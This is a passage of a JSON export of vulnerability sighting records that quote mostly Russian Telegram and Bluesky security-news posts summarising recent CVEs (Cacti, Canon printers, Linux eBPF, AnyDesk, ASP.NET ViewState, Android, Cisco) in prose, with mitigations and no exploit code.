\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0443.\n\n\ud83d\udd35CVE-2025-22604 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cacti, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 ss_net_snmp_disk_io() \u0438\u043b\u0438 ss_net_snmp_disk_bytes() \u0432 SNMP. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 RCE-\u0430\u0442\u0430\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 SNMP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c\u0438 OID.\n\n\ud83d\udd35CVE-2024-12647, CVE-2024-12648 \u0438 CVE-2024-12649 \u2014 \u0432\u0441\u0435 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Canon \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043d\u0430 CVSS 9,8. \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0438\u0437-\u0437\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u0445: \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 CPCA, \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0442\u0435\u0433\u043e\u0432 EXIF \u0432 TIFF \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0448\u0440\u0438\u0444\u0442\u043e\u0432 \u0432 XPS.\n\n\ud83d\udd35CVE-2024-56614 \u0438 CVE-2024-56615 \u2014 \u0434\u0432\u0435 \u043d\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 eBPF. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u043f\u0440\u0430\u0432\u0430, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c DoS-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35CVE-2024-49138 \u2014 \u0447\u0430\u0441\u0442\u044c 1 \u0438 \u0447\u0430\u0441\u0442\u044c 2. \u0410\u043d\u0430\u043b\u0438\u0437 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 Windows CLFS.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:14.643431Z"}, {"uuid": "b8a5f94b-5adf-4dfd-b201-09fd2a0d8f5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3ms3sawavss2v", "content": "CVE-2024-12345: Competence in Breach Response or a Call for Regulation? #Cybersecurity #BreachResponse #Regulation", "creation_timestamp": "2026-08-02T10:40:45.906735Z"}, {"uuid": "2ff9f224-2d55-410d-9337-0b1bf73e2b4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/REDTalk_base/132", "content": "\u0414\u043e\u0431\u0440\u044b\u0439 \u0434\u0435\u043d\u044c, \u043a\u043e\u043b\u043b\u0435\u0433\u0438! \u2615\ufe0f\n\n\u041d\u043e\u0432\u0430\u044f \u043d\u0435\u0434\u0435\u043b\u044f \u0432 \u0441\u0430\u043c\u043e\u043c \u0440\u0430\u0437\u0433\u0430\u0440\u0435. \u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0432\u0430\u043c \u043d\u0430\u043b\u0438\u0442\u044c \u0441\u0435\u0431\u0435 \u0447\u0430\u0448\u043a\u0443 \u043a\u043e\u0444\u0435 \u0438 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u0441 \u043d\u0430\u043c\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438!\n\n\n\ud83d\udc80\u0410\u0442\u0430\u043a\u0438 \u043d\u0430 IIS \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 ASP. NET Machine Keys\n\n\ud83d\udd0d Microsoft Threat Intelligence \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 3,000 \u0443\u0442\u0435\u043a\u0448\u0438\u0445 ASP. NET machine keys, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 IIS-\u0441\u0435\u0440\u0432\u0435\u0440\u044b. \u042d\u0442\u0438 \u043a\u043b\u044e\u0447\u0438, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c ViewState-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0442\u044c Godzilla Malware.  \n\n\u041a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u0430?  \n\n     1\ufe0f\u20e3ViewState \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0432 ASP. NET.  \n    2\ufe0f\u20e3 \u0414\u043b\u044f \u0435\u0433\u043e \u0437\u0430\u0449\u0438\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f ValidationKey \u0438 DecryptionKey.  \n     3\ufe0f\u20e3\u0415\u0441\u043b\u0438 \u044d\u0442\u0438 \u043a\u043b\u044e\u0447\u0438 \u0443\u0442\u0435\u043a\u043b\u0438, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 ViewState \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 \u0435\u0433\u043e \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.  \n    4\ufe0f\u20e3 IIS \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 ViewState \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.  \n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043e\u0442 Microsoft: \n \n    \u2705 \u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 machine keys \u2014 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0439\u0442\u0435 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438.  \n    \u2705 \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0439\u0442\u0435 \u0441\u0432\u043e\u0438 \u043a\u043b\u044e\u0447\u0438 \u043f\u043e \u0431\u0430\u0437\u0435 \u0445\u0435\u0448\u0435\u0439 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u043b\u044e\u0447\u0435\u0439\n    \u2705 \u0420\u043e\u0442\u0438\u0440\u0443\u0439\u0442\u0435 machine keys \u2014 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.  \n    \u2705 \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 ASP. NET \u0434\u043e 4.8 \u0438 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435 Antimalware Scan Interface (AMSI).  \n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0449\u0438\u0442\u0435 \u2014 Microsoft Blog\n\n\n \u2328\ufe0f\u0420\u0430\u0437\u0431\u043e\u0440 LPE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 AnyDesk\n\n\u0412 \u0441\u0435\u0442\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 AnyDesk (CVE-2024-12754), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e NT AUTHORITY\\SYSTEM.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442?\n\n\u041a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u043d\u043e\u0432\u0443\u044e \u0441\u0435\u0441\u0441\u0438\u044e, \u0441\u0435\u0440\u0432\u0438\u0441 AnyDesk \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0444\u043e\u043d\u043e\u0432\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 \u0432 C:\\Windows\\Temp\\, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430. \u041d\u043e \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0438\u0437\u043a\u043e\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u044d\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0444\u0430\u0439\u043b \u0441 \u0442\u0435\u043c \u0436\u0435 \u0438\u043c\u0435\u043d\u0435\u043c. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0441\u043b\u0443\u0436\u0431\u0430 AnyDesk \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c.\n\n    \ud83d\udcbb\u0414\u043b\u044f \u043b\u044e\u0431\u0438\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u043a\u043e\u043f\u0430\u0442\u044c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445, \u0440\u0435\u0431\u044f\u0442\u0430 \u0438\u0437  @RedTeambro \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 Proof-of-Concept, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c:  POC\n\n    \ud83d\udcd6 \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c: LPE AnyDesk research\n\n\n\ud83d\udee1\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Android\n\nGoogle \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f Android, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u0435 47 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n\nCVE-2024-53104: \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 USB Video Class (UVC) \u044f\u0434\u0440\u0430 Linux. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0438\u0434\u0435\u043e\u043a\u0430\u0434\u0440\u043e\u0432, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0445 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 uvc_parse_format(). \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u0441\u0431\u043e\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\nCVE-2024-45569: \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 WLAN \u043e\u0442 Qualcomm \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9.8. \u041e\u043d\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u043a\u0430\u0434\u0440\u043e\u0432, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Google Pixel \u0438 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0442\u044c\u0441\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u0437\u0434\u0435\u0441\u044c\n\n\n\u0412\u0441\u0435\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0438 \u043d\u0430\u0441\u044b\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438! \u041e\u0441\u0442\u0430\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u0441 \u043d\u0430\u043c\u0438. \u0412 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u043b\u044f \u0432\u0430\u0441 \u0431\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430!\n\n#news", "creation_timestamp": "2026-08-04T13:00:18.291919Z"}, {"uuid": "310f543e-8317-48b4-b75e-69a731043294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1247", "type": "seen", "source": "Telegram/lHKFDBRntVLEnzL4VqEuPiY-Vt8pAa9hTd9KwEhxy_XdixQ", "content": "", "creation_timestamp": "2026-08-30T00:00:13.207940Z"}, {"uuid": "1f5fa788-dc3c-443a-a024-57600f31a093", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://t.me/purp_sec/190", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u0432\u0430\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u0435\u0436\u0438\u0445 CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udee1CVE-2024-12857 (CVSS 9.8) \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0442\u0435\u043c\u0435 AdForest \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 WordPress. \u041f\u043b\u0430\u0433\u0438\u043d \u043d\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0434\u043e\u043b\u0436\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043b\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0435\u0440\u0435\u0434 \u0435\u0433\u043e \u0432\u0445\u043e\u0434\u043e\u043c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u041d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u043e\u0439\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043f\u043e\u0434 \u043b\u044e\u0431\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0441 \u043b\u044e\u0431\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0431\u0435\u0437 \u0432\u0432\u043e\u0434\u0430 \u043f\u0430\u0440\u043e\u043b\u044f (\u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u041e\u0422\u0420 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0443 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430), \u0430 \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0430\u0439\u0442\u043e\u043c.\n\n\ud83d\udee1CVE-2025-20156 (CVSS 9.9) \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cisco Meeting Management, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 REST API. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u044b API.\n\n\ud83d\udee1CVE-2024-20397 (CVSS 5.2) \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0435 \u041f\u041e Cisco NX-OS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 